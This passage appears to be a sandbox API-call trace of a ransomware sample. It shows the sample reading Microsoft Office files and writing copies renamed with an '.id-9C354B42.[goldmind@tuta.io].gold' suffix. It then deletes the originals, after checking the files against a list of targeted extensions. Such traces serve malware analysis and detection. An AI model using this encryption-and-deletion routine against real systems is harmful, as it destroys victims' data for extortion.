(lpString1=".bz2", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString=".7z") returned 3 [0103.275] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0103.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.275] lstrlenW (lpString=".dbf") returned 4 [0103.275] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.275] lstrlenW (lpString=".1cd") returned 4 [0103.275] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0103.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0103.275] lstrlenW (lpString=".jpg") returned 4 [0103.276] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0103.276] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0103.276] lstrlenW (lpString="MSACCESS.DEV_COL.HXC") returned 20 [0103.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.276] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=656) returned 1 [0103.276] CloseHandle (hObject=0x3a8) returned 1 [0103.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc")) returned 0x20 [0103.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.277] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.277] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.277] GetLastError () returned 0x0 [0103.277] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x290, lpOverlapped=0x0) returned 1 [0103.280] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0103.281] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.281] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0103.281] SetEndOfFile (hFile=0x38c) returned 1 [0103.281] CloseHandle (hObject=0x38c) returned 1 [0103.281] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.282] SetEndOfFile (hFile=0x3a8) returned 1 [0103.283] CloseHandle (hObject=0x3a8) returned 1 [0103.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxc")) returned 1 [0103.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.284] lstrlenW (lpString=".doc") returned 4 [0103.284] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.284] lstrlenW (lpString=".docx") returned 5 [0103.284] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.284] lstrlenW (lpString=".pdf") returned 4 [0103.284] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.284] lstrlenW (lpString=".xls") returned 4 [0103.284] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.284] lstrlenW (lpString=".xlsx") returned 5 [0103.284] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.284] lstrlenW (lpString=".ppt") returned 4 [0103.284] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.284] lstrlenW (lpString=".zip") returned 4 [0103.284] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.284] lstrlenW (lpString=".rar") returned 4 [0103.284] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.284] lstrlenW (lpString=".bz2") returned 4 [0103.284] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.284] lstrlenW (lpString=".7z") returned 3 [0103.284] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.284] lstrlenW (lpString=".dbf") returned 4 [0103.284] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.284] lstrlenW (lpString=".1cd") returned 4 [0103.284] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.285] lstrlenW (lpString=".jpg") returned 4 [0103.285] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.285] lstrlenW (lpString=".doc") returned 4 [0103.285] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.285] lstrlenW (lpString=".docx") returned 5 [0103.285] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.285] lstrlenW (lpString=".pdf") returned 4 [0103.285] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.285] lstrlenW (lpString=".xls") returned 4 [0103.285] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.285] lstrlenW (lpString=".xlsx") returned 5 [0103.285] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.285] lstrlenW (lpString=".ppt") returned 4 [0103.285] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.285] lstrlenW (lpString=".zip") returned 4 [0103.285] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.285] lstrlenW (lpString=".rar") returned 4 [0103.285] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.285] lstrlenW (lpString=".bz2") returned 4 [0103.285] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.285] lstrlenW (lpString=".7z") returned 3 [0103.285] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.285] lstrlenW (lpString=".dbf") returned 4 [0103.285] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.285] lstrlenW (lpString=".1cd") returned 4 [0103.285] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXC") returned 68 [0103.285] lstrlenW (lpString=".jpg") returned 4 [0103.285] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.285] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0103.285] lstrlenW (lpString="MSACCESS.DEV_COL.HXT") returned 20 [0103.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.286] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=212) returned 1 [0103.286] CloseHandle (hObject=0x3a8) returned 1 [0103.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt")) returned 0x20 [0103.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.286] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.286] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.287] GetLastError () returned 0x0 [0103.287] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xd4, lpOverlapped=0x0) returned 1 [0103.287] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0103.288] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.288] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0103.288] SetEndOfFile (hFile=0x38c) returned 1 [0103.288] CloseHandle (hObject=0x38c) returned 1 [0103.288] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.288] SetEndOfFile (hFile=0x3a8) returned 1 [0103.290] CloseHandle (hObject=0x3a8) returned 1 [0103.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_col.hxt")) returned 1 [0103.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.291] lstrlenW (lpString=".doc") returned 4 [0103.291] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.291] lstrlenW (lpString=".docx") returned 5 [0103.291] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.291] lstrlenW (lpString=".pdf") returned 4 [0103.291] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.291] lstrlenW (lpString=".xls") returned 4 [0103.291] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.291] lstrlenW (lpString=".xlsx") returned 5 [0103.291] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.291] lstrlenW (lpString=".ppt") returned 4 [0103.291] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.291] lstrlenW (lpString=".zip") returned 4 [0103.291] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.291] lstrlenW (lpString=".rar") returned 4 [0103.291] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.291] lstrlenW (lpString=".bz2") returned 4 [0103.291] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.291] lstrlenW (lpString=".7z") returned 3 [0103.291] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.291] lstrlenW (lpString=".dbf") returned 4 [0103.291] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.291] lstrlenW (lpString=".1cd") returned 4 [0103.291] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.292] lstrlenW (lpString=".jpg") returned 4 [0103.292] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.292] lstrlenW (lpString=".doc") returned 4 [0103.292] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.292] lstrlenW (lpString=".docx") returned 5 [0103.292] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.292] lstrlenW (lpString=".pdf") returned 4 [0103.292] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.292] lstrlenW (lpString=".xls") returned 4 [0103.292] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.292] lstrlenW (lpString=".xlsx") returned 5 [0103.292] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.292] lstrlenW (lpString=".ppt") returned 4 [0103.292] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.292] lstrlenW (lpString=".zip") returned 4 [0103.292] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.292] lstrlenW (lpString=".rar") returned 4 [0103.292] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.292] lstrlenW (lpString=".bz2") returned 4 [0103.292] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.292] lstrlenW (lpString=".7z") returned 3 [0103.292] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.292] lstrlenW (lpString=".dbf") returned 4 [0103.292] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.292] lstrlenW (lpString=".1cd") returned 4 [0103.292] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_COL.HXT") returned 68 [0103.292] lstrlenW (lpString=".jpg") returned 4 [0103.292] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.292] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.292] lstrlenW (lpString="MSACCESS.DEV_F_COL.HXK") returned 22 [0103.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.293] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=114) returned 1 [0103.293] CloseHandle (hObject=0x3a8) returned 1 [0103.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 0x20 [0103.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.293] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.293] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.294] GetLastError () returned 0x0 [0103.294] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x72, lpOverlapped=0x0) returned 1 [0103.295] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.296] ReadFile (in: hFile=0x3a8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.296] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x100, lpOverlapped=0x0) returned 1 [0103.296] SetEndOfFile (hFile=0x38c) returned 1 [0103.296] CloseHandle (hObject=0x38c) returned 1 [0103.296] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.296] SetEndOfFile (hFile=0x3a8) returned 1 [0103.301] CloseHandle (hObject=0x3a8) returned 1 [0103.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 1 [0103.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.302] lstrlenW (lpString=".doc") returned 4 [0103.302] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.302] lstrlenW (lpString=".docx") returned 5 [0103.302] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.302] lstrlenW (lpString=".pdf") returned 4 [0103.302] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.302] lstrlenW (lpString=".xls") returned 4 [0103.302] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.302] lstrlenW (lpString=".xlsx") returned 5 [0103.302] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.302] lstrlenW (lpString=".ppt") returned 4 [0103.302] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.302] lstrlenW (lpString=".zip") returned 4 [0103.302] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.302] lstrlenW (lpString=".rar") returned 4 [0103.302] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.302] lstrlenW (lpString=".bz2") returned 4 [0103.302] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.302] lstrlenW (lpString=".7z") returned 3 [0103.302] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.302] lstrlenW (lpString=".dbf") returned 4 [0103.302] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.302] lstrlenW (lpString=".1cd") returned 4 [0103.302] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.302] lstrlenW (lpString=".jpg") returned 4 [0103.302] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.302] lstrlenW (lpString=".doc") returned 4 [0103.302] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.302] lstrlenW (lpString=".docx") returned 5 [0103.302] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.302] lstrlenW (lpString=".pdf") returned 4 [0103.302] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.302] lstrlenW (lpString=".xls") returned 4 [0103.302] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.302] lstrlenW (lpString=".xlsx") returned 5 [0103.302] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.302] lstrlenW (lpString=".ppt") returned 4 [0103.302] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.302] lstrlenW (lpString=".zip") returned 4 [0103.302] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.303] lstrlenW (lpString=".rar") returned 4 [0103.303] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.303] lstrlenW (lpString=".bz2") returned 4 [0103.303] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.303] lstrlenW (lpString=".7z") returned 3 [0103.303] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0103.303] lstrlenW (lpString=".dbf") returned 4 [0103.303] lstrcmpiW (lpString1=".dbf", 